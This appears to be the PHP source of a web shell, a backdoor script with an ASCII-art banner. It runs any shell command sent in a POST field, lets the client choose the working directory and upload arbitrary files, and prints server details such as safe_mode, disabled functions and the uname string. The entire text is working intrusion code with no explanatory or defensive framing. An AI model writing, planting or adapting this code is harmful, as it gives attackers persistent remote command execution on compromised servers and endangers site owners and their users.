if($_POST['dir'] == "") { $curdir = `pwd`; } else { $curdir = $_POST['dir']; } if($_POST['king'] == "") { $curcmd = "ls -lah"; } else { $curcmd = $_POST['king']; } ?>
_ _ / \_______ /|_\ / /_/ \__ / \_/ / _|_ |/|_ _|_ O _ O _|_ _|_ (_) _|_ \ / _\_____________/_ / \/ (___) \/ \ \__( o o )__/ $ob = @ini_get("open_basedir"); $df = @ini_get("disable_functions"); if( ini_get('safe_mode') ) { echo "SM: 1 \\ "; } else { echo "SM: 0 \\ "; } if(''==$df) { echo "DF: 0 \\ "; } else { echo "DF: ".$df." \\ "; } echo "".php_uname()."\n"; ?>
if(($_POST['upl']) == "Upload" ) { if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir."/".$_FILES['fila']['name'])) { echo "The file has been uploaded
"; } else { echo "There was an error uploading the file, please try again!"; } } if(($_POST['exe']) == "Execute") { $curcmd = "cd ".$curdir.";".$curcmd; $f=popen($curcmd,"r"); while (!feof($f)) { $buffer = fgets($f, 4096); $string .= $buffer; } pclose($f); echo htmlspecialchars($string); } ?>